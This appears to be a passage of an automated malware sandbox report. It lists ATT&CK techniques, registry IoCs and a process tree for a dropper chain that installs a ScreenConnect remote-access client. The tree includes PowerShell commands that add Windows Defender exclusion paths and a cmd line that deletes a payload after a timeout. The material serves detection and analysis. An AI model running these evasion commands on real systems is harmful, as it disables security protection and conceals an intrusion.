Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	40b7c333b5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fc5bb9c37e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	09d92617f8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	09d92617f8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	080887dc756349b8bc67f7bf6ae62975.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NN9Dd7c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8ZVMneG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d66c231894.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7f1924baed.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
211860	Process not Found
102776	Process not Found
101972	Process not Found

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000038a6760542cf76680000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000038a676050000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff00000000070001000068090038a67605000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d38a67605000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000038a6760500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	5b4a1e945a7f4efbaba76256f3939caf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	5b4a1e945a7f4efbaba76256f3939caf.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
7872	timeout.exe
46300	Process not Found

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Kills process with taskkill 5 IoCs

evasion

pid	Process
58292	Process not Found
68768	Process not Found
69544	Process not Found
70176	Process not Found
70584	Process not Found

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E	msiexec.exe

Modifies registry class 37 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\sc-98a59bd0eed9222b\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D32D1EE57AD9200EF07A7D4C08AB00DC	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D32D1EE57AD9200EF07A7D4C08AB00DC\Full	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\Version = "402849799"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\ProductIcon = "C:\\Windows\\Installer\\{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-98a59bd0eed9222b	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\E2D8991B85D0C9C3895AB90DEE9D22B2	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\98a59bd0eed9222b\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-03BC-F8663411820C}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-03BC-F8663411820C}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\E2D8991B85D0C9C3895AB90DEE9D22B2\D32D1EE57AD9200EF07A7D4C08AB00DC	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (98a59bd0eed9222b)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\ProductName = "ScreenConnect Client (98a59bd0eed9222b)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-03BC-F8663411820C}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-03BC-F8663411820C}\ = "ScreenConnect Client (98a59bd0eed9222b) Credential Provider"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\DeploymentFlags = "3"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\98a59bd0eed9222b\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-03BC-F8663411820C}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (98a59bd0eed9222b)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\PackageCode = "D32D1EE57AD9200EF07A7D4C08AB00DC"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList	msiexec.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
102776	Process not Found

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
101948	Process not Found

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3100	file.exe
3100	file.exe
3824	skotes.exe
3824	skotes.exe
4308	skotes.exe
4308	skotes.exe
2616	NN9Dd7c.exe
2456	powershell.exe
2456	powershell.exe
324	powershell.exe
324	powershell.exe
756	INOKWGC.exe
756	INOKWGC.exe
756	INOKWGC.exe
3348	5b4a1e945a7f4efbaba76256f3939caf.exe
3348	5b4a1e945a7f4efbaba76256f3939caf.exe
2196	msedge.exe
2196	msedge.exe
4880	msedge.exe
4880	msedge.exe
3240	5a62c071f4.exe
3240	5a62c071f4.exe
4800	UZAj8wc.exe
4800	UZAj8wc.exe
4800	UZAj8wc.exe
4800	UZAj8wc.exe
5136	zudFSfy.exe
5136	zudFSfy.exe
6312	d66c231894.exe
6312	d66c231894.exe
6312	d66c231894.exe
6312	d66c231894.exe
6312	d66c231894.exe
6312	d66c231894.exe
7672	svchost.exe
7672	svchost.exe
7672	svchost.exe
7672	svchost.exe
3972	msiexec.exe
3972	msiexec.exe
6724	7f1924baed.exe
6724	7f1924baed.exe
4472	identity_helper.exe
4472	identity_helper.exe
7316	powershell.exe
7316	powershell.exe
7432	powershell.exe
7432	powershell.exe
632	ScreenConnect.ClientService.exe
632	ScreenConnect.ClientService.exe
7316	powershell.exe
7432	powershell.exe
632	ScreenConnect.ClientService.exe
632	ScreenConnect.ClientService.exe
632	ScreenConnect.ClientService.exe
632	ScreenConnect.ClientService.exe
7256	powershell.exe
7256	powershell.exe
7256	powershell.exe
4800	UZAj8wc.exe
4800	UZAj8wc.exe
7332	40b7c333b5.exe
7332	40b7c333b5.exe
7912	InstallUtil.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2616	NN9Dd7c.exe
Token: SeDebugPrivilege	2456	powershell.exe
Token: SeDebugPrivilege	4040	ga70pjP.exe
Token: SeShutdownPrivilege	1572	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1572	msiexec.exe
Token: SeDebugPrivilege	324	powershell.exe
Token: SeSecurityPrivilege	3972	msiexec.exe
Token: SeCreateTokenPrivilege	1572	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1572	msiexec.exe
Token: SeLockMemoryPrivilege	1572	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1572	msiexec.exe
Token: SeMachineAccountPrivilege	1572	msiexec.exe
Token: SeTcbPrivilege	1572	msiexec.exe
Token: SeSecurityPrivilege	1572	msiexec.exe
Token: SeTakeOwnershipPrivilege	1572	msiexec.exe
Token: SeLoadDriverPrivilege	1572	msiexec.exe
Token: SeSystemProfilePrivilege	1572	msiexec.exe
Token: SeSystemtimePrivilege	1572	msiexec.exe
Token: SeProfSingleProcessPrivilege	1572	msiexec.exe
Token: SeIncBasePriorityPrivilege	1572	msiexec.exe
Token: SeCreatePagefilePrivilege	1572	msiexec.exe
Token: SeCreatePermanentPrivilege	1572	msiexec.exe
Token: SeBackupPrivilege	1572	msiexec.exe
Token: SeRestorePrivilege	1572	msiexec.exe
Token: SeShutdownPrivilege	1572	msiexec.exe
Token: SeDebugPrivilege	1572	msiexec.exe
Token: SeAuditPrivilege	1572	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1572	msiexec.exe
Token: SeChangeNotifyPrivilege	1572	msiexec.exe
Token: SeRemoteShutdownPrivilege	1572	msiexec.exe
Token: SeUndockPrivilege	1572	msiexec.exe
Token: SeSyncAgentPrivilege	1572	msiexec.exe
Token: SeEnableDelegationPrivilege	1572	msiexec.exe
Token: SeManageVolumePrivilege	1572	msiexec.exe
Token: SeImpersonatePrivilege	1572	msiexec.exe
Token: SeCreateGlobalPrivilege	1572	msiexec.exe
Token: SeCreateTokenPrivilege	1572	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1572	msiexec.exe
Token: SeLockMemoryPrivilege	1572	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1572	msiexec.exe
Token: SeMachineAccountPrivilege	1572	msiexec.exe
Token: SeTcbPrivilege	1572	msiexec.exe
Token: SeSecurityPrivilege	1572	msiexec.exe
Token: SeTakeOwnershipPrivilege	1572	msiexec.exe
Token: SeLoadDriverPrivilege	1572	msiexec.exe
Token: SeSystemProfilePrivilege	1572	msiexec.exe
Token: SeSystemtimePrivilege	1572	msiexec.exe
Token: SeProfSingleProcessPrivilege	1572	msiexec.exe
Token: SeIncBasePriorityPrivilege	1572	msiexec.exe
Token: SeCreatePagefilePrivilege	1572	msiexec.exe
Token: SeCreatePermanentPrivilege	1572	msiexec.exe
Token: SeBackupPrivilege	1572	msiexec.exe
Token: SeRestorePrivilege	1572	msiexec.exe
Token: SeShutdownPrivilege	1572	msiexec.exe
Token: SeDebugPrivilege	1572	msiexec.exe
Token: SeAuditPrivilege	1572	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1572	msiexec.exe
Token: SeChangeNotifyPrivilege	1572	msiexec.exe
Token: SeRemoteShutdownPrivilege	1572	msiexec.exe
Token: SeUndockPrivilege	1572	msiexec.exe
Token: SeSyncAgentPrivilege	1572	msiexec.exe
Token: SeEnableDelegationPrivilege	1572	msiexec.exe
Token: SeManageVolumePrivilege	1572	msiexec.exe
Token: SeImpersonatePrivilege	1572	msiexec.exe

Suspicious use of FindShellTrayWindow 28 IoCs

pid	Process
3100	file.exe
1572	msiexec.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
1572	msiexec.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe
4880	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
7748	080887dc756349b8bc67f7bf6ae62975.exe
7912	InstallUtil.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3100 wrote to memory of 3824	3100	file.exe	83
PID 3100 wrote to memory of 3824	3100	file.exe	83
PID 3100 wrote to memory of 3824	3100	file.exe	83
PID 3824 wrote to memory of 624	3824	skotes.exe	84
PID 3824 wrote to memory of 624	3824	skotes.exe	84
PID 3824 wrote to memory of 624	3824	skotes.exe	84
PID 3824 wrote to memory of 2616	3824	skotes.exe	86
PID 3824 wrote to memory of 2616	3824	skotes.exe	86
PID 3824 wrote to memory of 2616	3824	skotes.exe	86
PID 2616 wrote to memory of 2456	2616	NN9Dd7c.exe	94
PID 2616 wrote to memory of 2456	2616	NN9Dd7c.exe	94
PID 2616 wrote to memory of 2456	2616	NN9Dd7c.exe	94
PID 3824 wrote to memory of 4040	3824	skotes.exe	98
PID 3824 wrote to memory of 4040	3824	skotes.exe	98
PID 3824 wrote to memory of 4040	3824	skotes.exe	98
PID 4040 wrote to memory of 1572	4040	ga70pjP.exe	99
PID 4040 wrote to memory of 1572	4040	ga70pjP.exe	99
PID 4040 wrote to memory of 1572	4040	ga70pjP.exe	99
PID 2616 wrote to memory of 324	2616	NN9Dd7c.exe	100
PID 2616 wrote to memory of 324	2616	NN9Dd7c.exe	100
PID 2616 wrote to memory of 324	2616	NN9Dd7c.exe	100
PID 3972 wrote to memory of 1960	3972	msiexec.exe	106
PID 3972 wrote to memory of 1960	3972	msiexec.exe	106
PID 3972 wrote to memory of 1960	3972	msiexec.exe	106
PID 1960 wrote to memory of 4836	1960	MsiExec.exe	109
PID 1960 wrote to memory of 4836	1960	MsiExec.exe	109
PID 1960 wrote to memory of 4836	1960	MsiExec.exe	109
PID 3824 wrote to memory of 756	3824	skotes.exe	110
PID 3824 wrote to memory of 756	3824	skotes.exe	110
PID 3824 wrote to memory of 756	3824	skotes.exe	110
PID 2616 wrote to memory of 3348	2616	NN9Dd7c.exe	115
PID 2616 wrote to memory of 3348	2616	NN9Dd7c.exe	115
PID 2616 wrote to memory of 3348	2616	NN9Dd7c.exe	115
PID 2616 wrote to memory of 3368	2616	NN9Dd7c.exe	116
PID 2616 wrote to memory of 3368	2616	NN9Dd7c.exe	116
PID 3824 wrote to memory of 2036	3824	skotes.exe	117
PID 3824 wrote to memory of 2036	3824	skotes.exe	117
PID 3824 wrote to memory of 2036	3824	skotes.exe	117
PID 2036 wrote to memory of 3920	2036	8ZVMneG.exe	120
PID 2036 wrote to memory of 3920	2036	8ZVMneG.exe	120
PID 2036 wrote to memory of 3920	2036	8ZVMneG.exe	120
PID 2036 wrote to memory of 3920	2036	8ZVMneG.exe	120
PID 2036 wrote to memory of 3920	2036	8ZVMneG.exe	120
PID 2036 wrote to memory of 3920	2036	8ZVMneG.exe	120
PID 2036 wrote to memory of 3920	2036	8ZVMneG.exe	120
PID 2036 wrote to memory of 3920	2036	8ZVMneG.exe	120
PID 2036 wrote to memory of 3920	2036	8ZVMneG.exe	120
PID 3368 wrote to memory of 4880	3368	d4bae143c7074b0796a22f06462818d7.exe	122
PID 3368 wrote to memory of 4880	3368	d4bae143c7074b0796a22f06462818d7.exe	122
PID 4880 wrote to memory of 3420	4880	msedge.exe	123
PID 4880 wrote to memory of 3420	4880	msedge.exe	123
PID 4880 wrote to memory of 2348	4880	msedge.exe	124
PID 4880 wrote to memory of 2348	4880	msedge.exe	124
PID 4880 wrote to memory of 2348	4880	msedge.exe	124
PID 4880 wrote to memory of 2348	4880	msedge.exe	124
PID 4880 wrote to memory of 2348	4880	msedge.exe	124
PID 4880 wrote to memory of 2348	4880	msedge.exe	124
PID 4880 wrote to memory of 2348	4880	msedge.exe	124
PID 4880 wrote to memory of 2348	4880	msedge.exe	124
PID 4880 wrote to memory of 2348	4880	msedge.exe	124
PID 4880 wrote to memory of 2348	4880	msedge.exe	124
PID 4880 wrote to memory of 2348	4880	msedge.exe	124
PID 4880 wrote to memory of 2348	4880	msedge.exe	124
PID 4880 wrote to memory of 2348	4880	msedge.exe	124

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
101676	Process not Found
101928	Process not Found
101920	Process not Found

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2528
- C:\Windows\SysWOW64\svchost.exe
  "C:\Windows\System32\svchost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:7672

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2836
- C:\Users\Admin\AppData\Local\Temp\file.exe
  "C:\Users\Admin\AppData\Local\Temp\file.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3100
- - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
    "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3824
  - - C:\Users\Admin\AppData\Local\Temp\1017319001\zudFSfy.exe
      "C:\Users\Admin\AppData\Local\Temp\1017319001\zudFSfy.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:624
    - - C:\Users\Admin\AppData\Local\Temp\1017319001\zudFSfy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1017319001\zudFSfy.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5136
  - - C:\Users\Admin\AppData\Local\Temp\1017666001\NN9Dd7c.exe
      "C:\Users\Admin\AppData\Local\Temp\1017666001\NN9Dd7c.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2616
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath "C:\lmxkhx"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2456
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:324
    - - C:\lmxkhx\5b4a1e945a7f4efbaba76256f3939caf.exe
        
        "C:\lmxkhx\5b4a1e945a7f4efbaba76256f3939caf.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:3348
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\lmxkhx\5b4a1e945a7f4efbaba76256f3939caf.exe" & rd /s /q "C:\ProgramData\X47Y5XBAAI58" & exit
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5040
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:7872
    - - C:\lmxkhx\d4bae143c7074b0796a22f06462818d7.exe
        
        "C:\lmxkhx\d4bae143c7074b0796a22f06462818d7.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3368
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://apps.microsoft.com/store/detail/9MSZ40SLW145?ocid=&referrer=psi
        6⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:4880
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
